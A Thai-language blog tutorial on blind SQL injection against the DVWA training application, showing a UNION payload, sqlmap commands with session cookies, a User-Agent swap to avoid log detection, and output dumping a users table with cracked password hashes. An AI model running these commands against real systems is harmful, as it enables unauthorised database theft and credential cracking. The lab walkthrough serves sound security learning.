HomeArtTechHackBlockchain

SQL Injection and SQL Injection Blind End

By Khomkrid Lerdprasert
Published in Hack101
August 26, 2020
1 min read
SQL Injection and SQL Injection Blind End

SQL Injection and SQL Injection Blind End

SQL Injection Blind ชื่อก็บอกแล้ว Blind ตาบอดมองไม่เห็น คือเราจะมองไม่เห็นผลลัพธ์แบบโต้งๆแบบคราวที่แล้ว ไงล่ะ

ไม่เห็นยังไง?

จากหน้า form ของ dvwa ในส่วนของ SQL Injection Blind เราจะเห็นแค่นี้

SQL Injection
SQL Injection

โดยเมื่อเรากรอก id ของ user เข้าไประบบจะฟ้องแค่ว่า User ID exists in the database

SQL Injection
SQL Injection

และ User ID is MISSING from the database

SQL Injection
SQL Injection

มันบอกแค่นั้นเอง ไม่บอกอะไรเราเลย แย่มากๆ

คิดอะไรไม่ออก งั้นเรามาลองใช้คำสั่งเดิมรอบที่แล้วดูหน่อยว่าจะพอทำอะไรได้บ้าง

1' UNION SELECT table_schema, column_name FROM information_schema.columns WHERE table_name = 'users

ระบบก็จะฟ้องแค่ว่า User ID exists in the database. ตลอดเว

งั้นรอบนี้เราจะมาใช้ kali ในการ ค้นหาช่องโหว่ของ SQL Injection Blind กันครับ เริ่มจากผม ssh เข้าไปที่ kali linux ก่อน (ถ้าใครยังไม่ได้ติดตั้ง ssh ก็ต้องติดตั้งเสียก่อนนะครับ)

โดยเราจะทำการ scan ที่เป้าหมายของเรา นั่นก็คือ url อันนี้

http://[ip address]/vulnerabilities/sqli_blind/?id=1&Submit=Submit#

ก่อนอื่นเราจะข้ามหน้า login ของระบบเข้าไปก่อนด้วยการ ลอก cookie header มาเก็บไว้ นั่นก็คือ Cookie: PHPSESSID=flcjn59cetm0d5lg8g4i44e4d5; security=low

SQL Injection
SQL Injection

จากนั้นเราจะใช้ sqlmap scan หาช่องโหว่ของเป้าหมายเรา

เราจะได้คำสั่งประมาณนี้

sqlmap -u "http://[ip address]/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="PHPSESSID=flcjn59cetm0d5lg8g4i44e4d5; security=low"

เมื่อ run ไปแล้วระบบก็จะบอกว่า database เป้าหมาย น่าจะเป็นอะไร?

ข้อควรระวัง การใช้ sqlmap User Agent มันจะไปขึ้นบน access log ในระบบว่ามาจาก sqlmap นะครับ อันนี้เราไม่ได้เปลี่ยน User Agent ก่อน run

[*] starting @ 14:54:24 /2020-08-27/
[14:54:24] [INFO] testing connection to the target URL
[14:54:24] [INFO] checking if the target is protected by some kind of WAF/IPS
[14:54:25] [INFO] testing if the target URL content is stable
[14:54:25] [INFO] target URL content is stable
[14:54:25] [INFO] testing if GET parameter 'id' is dynamic
[14:54:25] [WARNING] GET parameter 'id' does not appear to be dynamic
[14:54:25] [WARNING] heuristic (basic) test shows that GET parameter 'id' might not be injectable
[14:54:25] [INFO] testing for SQL injection on GET parameter 'id'
[14:54:25] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[14:54:26] [INFO] GET parameter 'id' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --code=200)
[14:54:26] [INFO] heuristic (extended) test shows that the back-end DBMS could be 'MySQL'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]

run ไปสักพัก ระบบก็จะแจ้งว่า GET parameter ‘id’ is vulnerable. Do you want to keep testing the others นั่นคือ parameter ที่ชื่อว่า id ของเรา มีช่องโหว่นะ

เมื่อ run option เพิ่มเติมจะทำให้รู้ว่า database และ user ที่ web application นี้ใช้งานอยู่ชื่อว่าอะไร

current database: 'dvwa'
current user: 'app@localhost'

ต่อไปเราจะ list table ทั้งหมดขึ้นมาผ่าน option —tables -D dvwa

Database: dvwa
[2 tables]
+-----------+
| guestbook |
| users |
+-----------+

และทำการดึง field ทั้งหมดออกมาว่ามีอะไรบ้าง ผ่าน option -T users —columns

Database: dvwa
Table: users
[8 columns]
+--------------+-------------+
| Column | Type |
+--------------+-------------+
| password | varchar(32) |
| user | varchar(15) |
| avatar | varchar(70) |
| failed_login | int(3) |
| first_name | varchar(15) |
| last_login | timestamp |
| last_name | varchar(15) |
| user_id | int(6) |
+--------------+-------------+
Database: dvwa
Table: guestbook
[3 columns]
+------------+----------------------+
| Column | Type |
+------------+----------------------+
| comment | varchar(300) |
| name | varchar(100) |
| comment_id | smallint(5) unsigned |
+------------+----------------------+

แล้วเราจะลอง dump ข้อมูลของ user ทั้งหมดออกมาดูครับ ผ่าน option dump ตัว sqlmap ที่ผมใช้ก็จะทำการ จับคู่รหัสผ่านที่ได้กับ wordlists ที่มี แล้วบอกว่า hash ตัวไหน คือ password อะไรบ้าง น่ากลัวจริงๆ

[15:13:48] [INFO] starting dictionary-based cracking (md5_generic_passwd)
[15:13:48] [INFO] starting 4 processes
[15:13:54] [INFO] cracked password 'abc123' for hash 'e99a18c428cb38d5f260853678922e03'
[15:13:56] [INFO] cracked password 'charley' for hash '8d3533d75ae2c3966d7e0d4fcc69216b'
[15:14:07] [INFO] cracked password 'password' for hash '5f4dcc3b5aa765d61d8327deb882cf99'
[15:14:07] [INFO] cracked password 'letmein' for hash '0d107d09f5bbe40cade3de5c71e9e9b7'
Database: dvwa
Table: users
[5 entries]
+---------+---------+-----------------------------+-----------+---------------------------------------------+------------+---------------------+--------------+
| user_id | user | avatar | last_name | password | first_name | last_login | failed_login |
+---------+---------+-----------------------------+-----------+---------------------------------------------+------------+---------------------+--------------+
| 3 | 1337 | /hackable/users/1337.jpg | Me | 8d3533d75ae2c3966d7e0d4fcc69216b (charley) | Hack | 2020-08-27 06:38:25 | 0 |
| 1 | admin | /hackable/users/admin.jpg | admin | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | admin | 2020-08-27 06:38:25 | 0 |
| 2 | gordonb | /hackable/users/gordonb.jpg | Brown | e99a18c428cb38d5f260853678922e03 (abc123) | Gordon | 2020-08-27 06:38:25 | 0 |
| 4 | pablo | /hackable/users/pablo.jpg | Picasso | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein) | Pablo | 2020-08-27 06:38:25 | 0 |
| 5 | smithy | /hackable/users/smithy.jpg | Smith | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | Bob | 2020-08-27 06:38:25 | 0 |
+---------+---------+-----------------------------+-----------+---------------------------------------------+------------+---------------------+--------------+

หลังจากนั้นเราจะลบ folder result ของเราออก เพื่อทำการทดสอบใหม่กับ medium level

rm -rf /home/aofiee/.sqlmap/output/[ip address]

โดย medium level จะมีหน้าตาเป็น SELECT input ให้เลือก id แทนที่จะเป็นช่องกรอกครับ และมี method เป็น post ดังนั้น sqlmap ของเราจะต้องมีการส่ง post data ไปให้แทน

SQL Injection
SQL Injection

หลังจากเราใช้ option —data ส่งค่า ไปสักพักจะพบว่าระบบแจ้งว่า post parameter id เป็นช่องโหว่กลับมา

POST parameter ‘id’ is vulnerable. Do you want to keep testing the others (if any)? [y/N] y

หลังจากนั้นไม่นานเราก็จะได้ user password เหมือนการทดสอบที่ผ่านมากลับมาครับ

เรามาดู high level กันบ้าง

SQL Injection
SQL Injection

เมื่อ click ที่ Click here to change your ID. จะเด้ง popup ใหม่ขึ้นมาให้เรากรอก id ลงไป

SQL Injection
SQL Injection

จะเห็นว่าค่าถูกส่งไปยัง url http://[ip address]/vulnerabilities/sqli_blind/cookie-input.php ด้วย method post และ cookie-input น่าจะทำหน้าที่ บันทึก id ลง cookie เพราะเห็นมี cookie เก็บค่า id เพิ่มขึ้นมาใน inspec

SQL Injection
SQL Injection

รอบนี้ผมเลยตั้ง ค่า url เป็น get ตามเดิมไว้ก่อน และตั้ง level,risk การค้นหาไว้ max โดยจะระบุค่าใน cookie ให้มีค่าของ id user แนบไปด้วย และเราจะทำการตรวจสอบช่องโหว่จาก parameter id ใน cookie อันนี้ครับ ซึ่งก็จะได้ command สุดท้าย final เลยตามด้านล่าง

sqlmap -u "http://172.16.20.57/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="id=1; PHPSESSID=flcjn59cetm0d5lg8g4i44e4d5; security=high" --headers="User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:25.0) Gecko/20100101 Firefox/25.0" --current-db --current-user --passwords --hex -D dvwa --tables -T users --dump

หลังจากนั้นเราก็รอไปเลยชาตินึง ระบบถึงจะพ่นข้อมูลที่เราเข้าถึงได้ออกมา จากช่องโหว่ทาง cookie ของเรา ที่ accept sql injection น่ันเองครับ

บรัยยยยยย


Tags

#pentest#kali#hack101#SQL Injection#SQL Injection Blind

Share

Previous Article
SQL Injection and SQL Injection Blind
Khomkrid Lerdprasert

Khomkrid Lerdprasert

Full Stack Life

Related Posts

Aircrack Ng หารหัส wifi ที่บ้าน
October 16, 2021
1 min
© 2024, All Rights Reserved.
Powered By

Quick Links

Author

Social Media